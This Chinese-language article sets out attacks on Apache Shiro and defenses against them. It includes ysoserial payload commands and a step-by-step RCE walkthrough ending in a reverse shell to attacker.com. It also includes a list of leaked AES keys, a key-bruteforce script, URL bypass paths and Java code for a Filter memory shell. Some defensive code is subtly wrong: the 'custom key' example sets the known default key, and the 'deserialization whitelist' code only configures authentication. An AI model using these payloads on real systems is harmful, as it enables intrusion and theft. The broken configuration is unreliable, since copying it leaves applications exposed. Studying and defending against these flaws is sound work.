Apache Shiro安全配置与漏洞利用
Apache Shiro是一个功能强大且易于使用的Java安全框架,提供了认证、授权、加密和会话管理功能。然而,由于其设计缺陷和配置不当,Shiro成为了Java Web应用中最常见的攻击入口之一。本文将从攻击者视角全面梳理Shiro的各个攻击面,并给出对应的防御方案。
一、Apache Shiro基础
1.1 什么是Apache Shiro
Apache Shiro是一个轻量级的Java安全框架,主要功能包括:
- Authentication(认证):验证用户身份,即登录
- Authorization(授权):访问控制,判断用户是否有权限执行某操作
- Session Management(会话管理):管理用户会话,即使在非Web环境下
- Cryptography(加密):使用加密算法保护数据安全
1.2 Shiro核心组件
Subject(主体)
↓
SecurityManager(安全管理器)
↓
Realm(领域)
↓
数据源(数据库、LDAP等)
核心概念:
- Subject:当前操作用户,可以是人也可以是第三方服务
- SecurityManager:安全管理器,Shiro的核心,管理所有Subject
- Realm:域,Shiro从Realm获取安全数据(用户、角色、权限)
- Session:会话,Shiro提供的会话管理
- Cryptography:加密组件,用于加密和解密
1.3 Shiro的RememberMe机制
Shiro的RememberMe功能允许用户在关闭浏览器后仍然保持登录状态。其工作流程:
- 用户登录时勾选”记住我”
- Shiro将用户信息序列化
- 使用AES加密序列化数据
- Base64编码后存储在Cookie中(rememberMe字段)
- 下次访问时,Shiro读取Cookie
- Base64解码 → AES解密 → 反序列化 → 恢复用户信息
这个机制是Shiro最大的安全隐患所在。
二、Shiro反序列化漏洞
2.1 Shiro-550(CVE-2016-4437)
这是Shiro历史上最严重的漏洞,影响范围极广。
漏洞原理: Shiro 1.2.4及之前版本使用硬编码的AES密钥加密RememberMe Cookie。攻击者可以:
- 使用已知密钥构造恶意序列化对象
- AES加密后Base64编码
- 发送恶意Cookie
- 服务端解密并反序列化,触发RCE
硬编码密钥:
// org.apache.shiro.mgt.AbstractRememberMeManager
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(
"kPH+bIxk5D2deZiIxcaaaA=="
);
受影响版本:
- Apache Shiro < 1.2.5
漏洞利用:
利用工具:shiro_tool.jar 或 ShiroExploit
# 使用 ShiroExploit 进行漏洞检测
java -jar ShiroExploit.jar -t http://target.com/login
# 验证密钥是否存在
python3 shiro_exploit.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA=="
利用链选择:
| 利用链 | 依赖要求 | 适用场景 | 成功率 |
|---|---|---|---|
| CommonsBeanutils1 | 无特殊依赖 | 通用 | ★★★★★ |
| CommonsCollections2/3/4 | commons-collections | 存在依赖时 | ★★★★☆ |
| Spring1/Spring2 | Spring框架 | Spring项目 | ★★★☆☆ |
| Jdk7u21 | JDK < 7u21 | 老版本JDK | ★★★☆☆ |
CommonsBeanutils1 为什么不需要依赖?
// Shiro 本身依赖了 commons-beanutils
// org.apache.shiro:shiro-core -> commons-beanutils:commons-beanutils
// 利用链原理:
// PriorityQueue.readObject()
// -> TransformingComparator.compare()
// -> BeanComparator.compare()
// -> PropertyUtils.getProperty()
// -> TemplatesImpl.getOutputProperties()
// -> 加载恶意字节码
ysoserial 生成 Payload:
# 基础用法
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/pwned" > payload.bin
# 结合 JRMP 监听器
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc.exe"
# 生成 base64 编码的 payload
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{base64,-d}|{bash,-i}" | base64
依赖检测方法:
# 1. 检查 lib 目录
ls WEB-INF/lib/ | grep -E "commons-collections|spring"
# 2. 错误回显判断
# 发送 payload 后,如果返回 500 且包含 ClassNotFoundException
# 说明缺少对应依赖
# 3. 使用 dnslog 探测
# 分别尝试不同利用链,看哪个能触发 DNS 请求
2.2 Shiro-721(CVE-2019-12422)
漏洞原理: Shiro 1.2.5-1.4.1 版本使用 AES-128-CBC 加密,密钥虽然不再硬编码,但使用了 Padding Oracle Attack(填充预言攻击)可以逆向破解密钥。
攻击条件:
- 需要任意一个有效的 rememberMe Cookie
- 服务端使用 CBC 模式加密
- 可以观察到不同的错误响应(解密失败 vs 反序列化失败)
利用过程:
# 使用 rememberMe 字段进行 Padding Oracle 攻击
# 逐步修改密文,观察响应差异
# 最终解密出 AES 密钥
受影响版本:
- Apache Shiro 1.2.5 - 1.4.1
2.3 Shiro-778(CVE-2021-41303)
漏洞原理:
Shiro 1.7.0 版本之前的 RegExPatternMatcher 存在缺陷,攻击者可以通过构造包含控制字符的路径绕过权限检查。
绕过方式:
/admin/user → 需要认证
/admin/user%0a → 绕过认证(%0a 是换行符)
/admin/user%0d → 绕过认证(%0d 是回车符)
根本原因: 正则表达式匹配时未对控制字符做过滤,导致匹配失败但实际访问成功。
受影响版本:
- Apache Shiro < 1.7.1
2.4 其他高危漏洞
CVE-2022-40664 - 认证绕过
漏洞原理:
Shiro 1.10.0 之前的版本,当使用 RegexRequestMatcher 时,可能导致身份验证绕过。
影响:
- Apache Shiro < 1.10.0
修复方案: 升级到 1.10.0 或以上版本。
2.5 Shiro权限绕过漏洞
2.5.1 CVE-2020-11989
漏洞原理: Shiro 与 Spring 集成时,URL 解析差异导致权限绕过。
绕过方式:
正常访问:/admin/user → 需要认证
绕过路径:/admin/user/ → 绕过认证
/admin/user/. → 绕过认证
根本原因:
- Shiro:
PathMatchingFilter使用endsWith匹配 - Spring:
@RequestMapping会规范化路径
2.3.2 CVE-2020-13933
漏洞原理: 编码问题导致的权限绕过。
绕过方式:
/admin/user → 需要认证
/admin/%3buser → 绕过认证(;编码为%3b)
/admin/%2euser → 绕过认证(.编码为%2e)
2.3.3 CVE-2020-17510
漏洞原理: Shiro 1.5.0-1.5.3 在处理 URL 路径时的缺陷。
绕过方式:
/admin/user → 需要认证
/admin/user/..;/index → 绕过认证
完整利用流程示例:
场景:某系统使用 Shiro 1.2.4,发现 rememberMe=deleteMe
# Step 1: 确认存在 Shiro
➜ curl -s -o /dev/null -w "%{http_code}" http://target.com/login -H "Cookie: rememberMe=test"
200
# 查看响应头包含 rememberMe=deleteMe,确认存在 Shiro
# Step 2: 使用工具检测密钥
➜ python3 shiro.py -u http://target.com/login
[+] 正在检测密钥...
[+] 发现密钥: kPH+bIxk5D2deZiIxcaaaA==
# Step 3: 尝试执行命令
➜ python3 shiro.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA==" -c "whoami"
[+] 目标系统: Linux
[+] 命令执行成功: www-data
# Step 4: 获取 Shell
# 本地监听
➜ nc -lvvp 4444
# 发送反弹 shell payload
➜ python3 shiro.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA==" \
-c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
# Step 5: 注入内存马(可选)
# 通过反序列化注入 Filter 型内存马
# 访问: http://target.com/?cmd=whoami
三、Shiro漏洞实战利用
3.1 信息收集
识别 Shiro 应用:
- Cookie 特征:
Set-Cookie: rememberMe=deleteMe - 响应头特征:
X-Powered-By: Shiro - URL 特征:
/login/logout/unauthorized
检测脚本:
import requests
def detect_shiro(url):
headers = {
'Cookie': 'rememberMe=test'
}
resp = requests.get(url, headers=headers, allow_redirects=False)
if 'rememberMe=deleteMe' in str(resp.headers):
print(f"[+] {url} 可能存在 Shiro 漏洞")
return True
return False
3.2 密钥爆破
常见密钥列表:
Shiro 官方默认密钥(1.2.4及之前):
kPH+bIxk5D2deZiIxcaaaA==
网上公开的常见密钥(收集自GitHub、漏洞复现文章):
wGiHplamyXlVB11UXWol8g==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
Z3VucwAAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
U3ByaW5nQmxhZGUAAAAAAA==
MWJjNmQ3MjEzMzZjODM2NQ==
ZGVmYXVsdF9jaXBoZXJrZXk=
2itfHvFqDZF7Htc1vT1wcQ==
QJpM8T7rSZAGXvF0QwKoQA==
密钥收集工具:
# 使用 fofa 语法搜索 Shiro 应用
title="Shiro" && body="rememberMe"
# 使用 nuclei 批量检测
nuclei -l urls.txt -t shiro-detection.yaml
# 使用 xray 主动扫描
xray webscan --plugins shiro --url http://target.com
爆破脚本:
import base64
import requests
from Crypto.Cipher import AES
def check_key(url, key):
# 构造序列化 payload(简单的 DNSLog)
payload = b'\xac\xed...' # ysoserial 生成的 payload
# AES 加密
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv=b'1234567890123456')
encrypted = cipher.encrypt(payload)
# 发送请求
cookie = base64.b64encode(encrypted).decode()
resp = requests.get(url, cookies={'rememberMe': cookie})
# 根据响应判断
if 'deleteMe' not in resp.headers.get('Set-Cookie', ''):
return True
return False
3.3 回显与内存马
命令回显方法:
- Tomcat 回显:利用 Tomcat 全局存储 Response 对象
- Spring 回显:利用 RequestContextHolder 获取当前请求
- 字节码修改:修改关键类的 toString 方法
内存马注入:
// Filter 型内存马
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Runtime.getRuntime().exec(cmd);
}
chain.doFilter(req, resp);
}
};
// 注册到 FilterChain
四、防御方案
4.1 升级版本
推荐版本:
- Apache Shiro >= 1.7.1(修复已知所有绕过漏洞)
- Apache Shiro >= 1.5.3(修复 Padding Oracle)
- Apache Shiro >= 1.2.5(修复默认密钥)
Maven 依赖升级:
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.12.0</version>
</dependency>
4.2 密钥安全
生成随机密钥:
// 生成 128/256 位随机密钥
byte[] keyBytes = new byte[16]; // 128位
new SecureRandom().nextBytes(keyBytes);
String base64Key = Base64.encodeToString(keyBytes);
System.out.println("AES Key: " + base64Key);
配置密钥:
# shiro.ini
[main]
# 使用自定义密钥
rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==
# 或者使用 KeyGenerator
credentialsMatcher.hashIterations = 1024
credentialsMatcher.hashAlgorithmName = SHA-256
4.3 关闭 RememberMe
如果不需要记住我功能,建议关闭:
@Bean
public SecurityManager securityManager() {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
// 禁用 RememberMe
securityManager.setRememberMeManager(null);
return securityManager;
}
4.4 反序列化防护
使用白名单:
// 配置反序列化过滤器
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean filter = new ShiroFilterFactoryBean();
// 配置安全过滤器
Map<String, String> filterMap = new HashMap<>();
filterMap.put("/**", "authc"); // 全部需要认证
filter.setFilterChainDefinitionMap(filterMap);
return filter;
}
RASP 防护:
// 在 JVM 层面拦截反序列化
Instrumentation instrumentation = ...;
instrumentation.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(...) {
// 拦截 ObjectInputStream
// 检查反序列化类是否在白名单
}
});
4.5 URL 规范化
统一使用 Spring 的 AntPathMatcher:
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean filter = new ShiroFilterFactoryBean();
// 使用 Spring 的路径匹配器
PathMatchingFilterChainResolver resolver = new PathMatchingFilterChainResolver();
resolver.setPathMatcher(new AntPathMatcher());
return filter;
}
严格 URL 配置:
# 不要使用通配符配置敏感路径
/admin/** = authc, roles[admin]
# 应该明确配置
/admin/user = authc, roles[admin]
/admin/config = authc, roles[admin]
4.6 WAF 防护规则
ModSecurity 规则示例:
# 检测 Shiro 反序列化攻击
SecRule REQUEST_HEADERS:Cookie "@contains rememberMe=" \
"id:1001,phase:1,deny,status:403,msg:'Shiro Deserialization Attack Detected'"
# 检测非法 rememberMe Cookie 长度
SecRule REQUEST_HEADERS:Cookie "@rx rememberMe=[A-Za-z0-9+/]{1000,}" \
"id:1002,phase:1,deny,status:403,msg:'Suspicious Shiro Cookie Length'"
# 检测路径遍历绕过
SecRule REQUEST_URI "@rx /(\\x2e|%2e|%252e)" \
"id:1003,phase:1,deny,status:403,msg:'Path Traversal Detected'"
Nginx Lua 防护:
-- 检测 rememberMe Cookie
if ngx.var.http_cookie then
local rememberMe = ngx.var.http_cookie:match("rememberMe=([^;]+)")
if rememberMe and #rememberMe > 500 then
-- 记录日志并拦截
ngx.log(ngx.ERR, "Shiro attack detected from " .. ngx.var.remote_addr)
ngx.exit(403)
end
end
4.7 日志监控与告警
需要监控的关键日志:
// 记录所有 rememberMe 反序列化尝试
log.warn("RememberMe cookie deserialization attempted from IP: {}",
request.getRemoteAddr());
// 记录失败的 URL 访问
log.warn("Unauthorized access attempt to: {} from IP: {}",
request.getRequestURI(), request.getRemoteAddr());
ELK 告警规则:
{
"query": {
"bool": {
"must": [
{ "match": { "message": "rememberMe" }},
{ "range": { "@timestamp": { "gte": "now-5m" }}}
]
}
}
}
Splunk 搜索:
# 统计 rememberMe 异常请求
index=web source=*access.log* "rememberMe"
| stats count by clientip, uri
| where count > 10
| table clientip, uri, count
五、代码审计检查点
5.1 检查清单
□ Shiro 版本是否 >= 1.7.1
□ rememberMe 是否配置了随机密钥
□ 是否存在硬编码密钥
□ URL 配置是否严格
□ 是否禁用了不必要的功能
□ 反序列化是否有白名单限制
5.2 审计工具
Maven 依赖检查:
# 检查 Shiro 版本
mvn dependency:tree | grep shiro
# 使用 OWASP 检查漏洞
mvn org.owasp:dependency-check-maven:check
源代码审计:
# 搜索硬编码密钥
grep -r "cipherKey" --include="*.java" --include="*.ini" --include="*.xml"
# 搜索 rememberMe 配置
grep -r "rememberMe" --include="*.java" --include="*.ini"
# 搜索危险配置
grep -r "setRememberMeManager" --include="*.java"
grep -r "CookieRememberMeManager" --include="*.java"
IDEA 插件推荐:
- SonarLint:实时检测安全漏洞
- OWASP Dependency-Check:检查依赖漏洞
- SpotBugs:静态代码分析
六、应急响应
6.1 入侵检测
检查是否已被攻击:
# 1. 检查日志中是否有异常的 rememberMe
zgrep -i "rememberMe" /var/log/tomcat*/access_log* | tail -100
# 2. 检查是否包含可疑的 Base64 字符串(长度超过500)
awk -F'rememberMe=' '/rememberMe=/{print $2}' /var/log/tomcat*/access_log* | \
awk -F';' '{print $1}' | awk 'length > 500'
# 3. 检查系统是否存在后门
find /tmp /var/tmp -name "*.sh" -o -name "*.jsp" -mtime -1 2>/dev/null
# 4. 检查网络连接
netstat -antp | grep ESTABLISHED
ss -antp | grep -v "127.0.0.1"
# 5. 检查定时任务
crontab -l
cat /etc/cron.d/*
ls -la /etc/cron.daily/
Java 进程分析:
# 查找可疑的类加载
jcmd <pid> VM.classloader_stats
# 导出堆内存分析
jmap -dump:format=b,file=/tmp/heap.hprof <pid>
# 使用 MAT 工具分析堆内存
# 查找 org.apache.shiro.mgt.RememberMeManager 实例
6.2 应急处置
紧急止损措施:
# 1. 立即下线应用(或切换到维护页面)
mv webapps/ROOT webapps/ROOT.bak
cp maintenance.html webapps/ROOT/
# 2. 阻断攻击者 IP
iptables -A INPUT -s <attacker_ip> -j DROP
# 3. 清理恶意文件
find / -name "*.jsp" -newer /var/www/ -exec ls -la {} \;
find /tmp -name "*shell*" -exec rm -f {} \;
# 4. 重启应用(清除内存马)
systemctl restart tomcat
恢复步骤:
- 升级到最新版本 Shiro
- 更换 AES 密钥
- 清理所有恶意文件
- 全量代码审计
- 修改所有用户密码
- 重新上线并加强监控
6.3 常用工具对比
| 工具名称 | 功能 | 适用场景 | 推荐指数 |
|---|---|---|---|
| ShiroExploit | GUI 利用工具 | 快速检测与利用 | ★★★★★ |
| ysoserial | 生成序列化 Payload | 自定义利用链 | ★★★★★ |
| shiro_attack | Python 利用脚本 | 批量扫描 | ★★★★☆ |
| marshalsec | JRMP 利用 | 绕过某些限制 | ★★★☆☆ |
| Burp插件 | 集成到 Burp | 渗透测试 | ★★★★☆ |
| nuclei | 批量漏洞扫描 | 资产普查 | ★★★★★ |
工具下载地址:
- ShiroExploit: https://github.com/feihong-cs/ShiroExploit
- shiro_attack: https://github.com/sv3nbeast/shiro_attack
- ysoserial: https://github.com/frohoff/ysoserial
七、总结
Apache Shiro 作为 Java 安全框架,虽然功能强大,但历史上多次出现严重安全漏洞。防护要点:
- 及时升级:保持使用最新版本(>= 1.12.0)
- 密钥管理:使用随机生成的强密钥(256位推荐)
- 最小权限:禁用不需要的功能(如 RememberMe)
- 严格配置:URL 权限配置要精确,避免绕过
- 多层防御:结合 RASP、WAF、日志监控
- 应急响应:建立完善的入侵检测和处置流程
安全是持续的过程,而非一次性的配置。
参考资源
官方文档
CVE 详情
- CVE-2016-4437 - Shiro-550
- CVE-2019-12422 - Shiro-721
- CVE-2020-11989 - 权限绕过
- CVE-2020-13933 - 权限绕过
- CVE-2020-17510 - 权限绕过
- CVE-2021-41303 - Shiro-778
- CVE-2022-40664 - 认证绕过
技术文章
工具下载
- ShiroExploit - GUI 利用工具
- shiro_attack - Python 利用脚本
- ysoserial - Java 反序列化 Payload 生成
- nuclei-templates - 扫描模板
- Burp-Shiro - Burp 插件
免责声明:本文仅供安全研究和学习交流使用,请勿用于非法用途。使用本文内容造成的任何后果,作者不承担任何责任。